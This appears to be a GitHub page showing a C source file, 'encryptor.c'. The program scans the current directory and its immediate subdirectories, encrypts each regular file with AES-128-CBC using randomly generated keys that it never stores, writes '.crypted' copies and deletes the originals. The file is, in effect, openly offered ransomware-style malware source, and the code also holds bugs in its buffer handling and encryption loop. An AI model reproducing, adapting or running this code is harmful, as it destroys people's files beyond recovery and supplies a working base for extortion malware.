-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathencryptor.c
321 lines (278 loc) · 11.2 KB
/
encryptor.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
#include <stdio.h>
#include <dirent.h>
#include <string.h>
#include <stdlib.h>
#include <openssl/evp.h>
#include <openssl/aes.h>
#include <openssl/err.h>
#define BUFSIZE 1024
#define KEY_LENGTH 16 //128 bits
#define IV_LENGTH 16 //128 bits
int encrypt(const unsigned char *plaintext, int plaintext_len, const unsigned char *key,
const unsigned char *iv, unsigned char *ciphertext);
int decrypt(const unsigned char *ciphertext, int ciphertext_len, const unsigned char *key,
const unsigned char *iv, unsigned char *plaintext);
int aes_cbc_encrypt_file(FILE *fp_in, FILE *fp_out, const unsigned char *key, const unsigned char *iv);
int main(int argc, char *argv[])
{
char *str;
DIR *d;
struct dirent *dir;
DIR *subd;
struct dirent *subdir;
d = opendir("."); //current working directory
if (d)
{
while ((dir = readdir(d)) != NULL)
{
//Ignoring "." and ".."
if ((strcmp(dir->d_name, ".")) && (strcmp(dir->d_name, "..")))
{
int path_length = (int)strlen(dir->d_name);
//Checking whether directory is a file
if (dir->d_type == DT_REG)
{
char *pathname = (char *)malloc(sizeof(char) * (path_length + 2));
strcpy(pathname, dir->d_name);
//Opening the current file
FILE *fp_in = fopen(pathname, "rb");
//Generating the ciphertext output file name
int dot_position = 0;
for (int i = 0; i < path_length; i++)
{
if (pathname[i] == '.')
dot_position = i;
}
char *file = (char *)malloc(sizeof(char) * (dot_position + 1));
strncpy(file, pathname, dot_position);
strcat(file, ".crypted");
char *filepath = malloc((int)strlen(dir->d_name) + 13);
strcpy(filepath, dir->d_name);
strcat(filepath, ".crypted");
FILE *fp_out = fopen(filepath, "wb");
//Generating key and iv
unsigned char *key = (unsigned char *)malloc(sizeof(unsigned char) * KEY_LENGTH);
for (int z = 0; z < KEY_LENGTH; z++)
{
key[z] = rand() % 256;
}
unsigned char *iv = (unsigned char *)malloc(sizeof(unsigned char) * IV_LENGTH);
for (int z = 0; z < IV_LENGTH; z++)
{
iv[z] = rand() % 256;
}
//Encrypting all user data
aes_cbc_encrypt_file(fp_in, fp_out, key, iv);
fclose(fp_in);
fclose(fp_out);
remove(pathname);
}
//Recursively iterating through subdirectories
else if (dir->d_type == DT_DIR)
{
char *subdirectory = (char *)malloc(sizeof(char) * ((int)strlen(dir->d_name) + 2));
sprintf(subdirectory, "%s/", dir->d_name);
subd = opendir(subdirectory);
if (subd)
{
while ((subdir = readdir(subd)) != NULL)
{
if ((strcmp(subdir->d_name, ".")) && (strcmp(subdir->d_name, "..")))
{
int path_length = (int)strlen(subdir->d_name);
//Checking whether directory is a file
if (subdir->d_type == DT_REG)
{
char *pathname = (char *)malloc(sizeof(char) * (path_length + 2 + strlen(dir->d_name)));
strcpy(pathname, dir->d_name);
strcat(pathname, "/");
strcat(pathname, subdir->d_name);
//Opening the current file
FILE *fp_in = fopen(pathname, "rb");
//Generating the ciphertext output file name
int dot_position = 0;
for (int i = 0; i < path_length; i++)
{
if (pathname[i] == '.')
dot_position = i;
}
char *file = (char *)malloc(sizeof(char) * (dot_position + 1));
strncpy(file, pathname, dot_position);
strcat(file, ".crypted");
char *filepath = (char *)malloc(sizeof(char) * (strlen(dir->d_name) + strlen(subdir->d_name) + 13));
strcpy(filepath, dir->d_name);
strcat(filepath, "/");
strcat(filepath, subdir->d_name);
strcat(filepath, ".crypted");
FILE *fp_out = fopen(filepath, "wb");
//Generating key and iv
unsigned char *key = (unsigned char *)malloc(sizeof(unsigned char) * KEY_LENGTH);
for (int z = 0; z < KEY_LENGTH; z++)
{
key[z] = rand() % 256;
}
unsigned char *iv = (unsigned char *)malloc(sizeof(unsigned char) * IV_LENGTH);
for (int z = 0; z < IV_LENGTH; z++)
{
iv[z] = rand() % 256;
}
//Encrypting all user data
aes_cbc_encrypt_file(fp_in, fp_out, key, iv);
fclose(fp_in);
fclose(fp_out);
remove(pathname);
}
}
}
}
}
}
}
}
else
{
perror("Could not open directory");
return EXIT_FAILURE;
}
closedir(d);
return 0;
}
int encrypt(const unsigned char *plaintext, int plaintext_len, const unsigned char *key,
const unsigned char *iv, unsigned char *ciphertext)
{
EVP_CIPHER_CTX *ctx;
int len;
int ciphertext_len;
/* Create and initialise the context */
if (!(ctx = EVP_CIPHER_CTX_new()))
{
ERR_print_errors_fp(stderr);
return 0;
}
/* Initialise the encryption operation. IMPORTANT - ensure you use a key
and IV size appropriate for your cipher
In this example we are using 128 bit AES (i.e. a 128 bit key). The
IV size for *most* modes is the same as the block size. For AES this
is 128 bits */
if (1 != EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv))
{
ERR_print_errors_fp(stderr);
return 0;
}
/* Provide the message to be encrypted, and obtain the encrypted output.
EVP_EncryptUpdate can be called multiple times if necessary
*/
if (1 != EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len))
{
ERR_print_errors_fp(stderr);
return 0;
}
ciphertext_len = len;
/* Finalise the encryption. Further ciphertext bytes may be written at
this stage.
*/
if (1 != EVP_EncryptFinal_ex(ctx, ciphertext + len, &len))
{
ERR_print_errors_fp(stderr);
return 0;
}
ciphertext_len += len;
/* Clean up */
EVP_CIPHER_CTX_free(ctx);
return ciphertext_len;
}
int decrypt(const unsigned char *ciphertext, int ciphertext_len, const unsigned char *key,
const unsigned char *iv, unsigned char *plaintext)
{
EVP_CIPHER_CTX *ctx;
int len;
int plaintext_len;
/* Create and initialise the context */
if (!(ctx = EVP_CIPHER_CTX_new()))
{
ERR_print_errors_fp(stderr);
return 0;
}
/* Initialise the decryption operation. IMPORTANT - ensure you use a key
and IV size appropriate for your cipher
In this example we are using 128 bit AES (i.e. a 128 bit key). The
IV size for *most* modes is the same as the block size. For AES this
is 128 bits */
if (1 != EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv))
{
ERR_print_errors_fp(stderr);
return 0;
}
/* Provide the message to be decrypted, and obtain the plaintext output.
EVP_DecryptUpdate can be called multiple times if necessary
*/
if (1 != EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len))
{
ERR_print_errors_fp(stderr);
return 0;
}
plaintext_len = len;
/* Finalise the decryption. Further plaintext bytes may be written at
this stage.
*/
if (1 != EVP_DecryptFinal_ex(ctx, plaintext + len, &len))
{
ERR_print_errors_fp(stderr);
return 0;
}
plaintext_len += len;
/* Clean up */
EVP_CIPHER_CTX_free(ctx);
return plaintext_len;
}
//CBC encryption using AES
int aes_cbc_encrypt_file(FILE *fp_in, FILE *fp_out, const unsigned char *key, const unsigned char *iv)
{
int x = fseek(fp_in, 0L, SEEK_END);
x = ftell(fp_in);
x = rewind(fp_in);
unsigned char *inbuf = malloc((unsigned)x);
size_t count = fread(inbuf, 1, x, fp_in);
unsigned char *outbuf = malloc((unsigned)x + EVP_MAX_BLOCK_LENGTH);
int inlen = x;
int outlen, tmplen;
EVP_CIPHER_CTX *ctx;
/* Bogus key and IV: we'd normally set these from
another source.
*/
/* Don't set key or IV right away; we want to check lengths */
ctx = EVP_CIPHER_CTX_new();
EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, NULL, NULL);
OPENSSL_assert(EVP_CIPHER_CTX_key_length(ctx) == 16);
OPENSSL_assert(EVP_CIPHER_CTX_iv_length(ctx) == 16);
/* Now we can set key and IV */
EVP_EncryptInit_ex(ctx, NULL, NULL, key, iv);
/* Encrypt first block.
Computation is independent of array indices so easily
vectorized by the compiler
*/
if (!EVP_EncryptUpdate(ctx, outbuf, &outlen, inbuf, inlen))
return -1;
/* Encrypt remaining blocks one at a time */
for (;;)
{
/* In case the last call to EVP_EncryptUpdate updated
tmplen, it may not be the length of the ciphertext!
*/
if (!EVP_EncryptUpdate(ctx, outbuf + outlen, &tmplen,
inbuf + outlen, inlen - outlen))
return -1;
outlen += tmplen;
if (tmplen < 1024)
break;
}
if (!EVP_EncryptFinal_ex(ctx, outbuf + outlen, &tmplen))
return -1;
outlen += tmplen;
/* Output encrypted data */
fwrite(outbuf, 1, outlen, fp_out);
EVP_CIPHER_CTX_free(ctx);
free(inbuf);
free(outbuf);
return 0;
}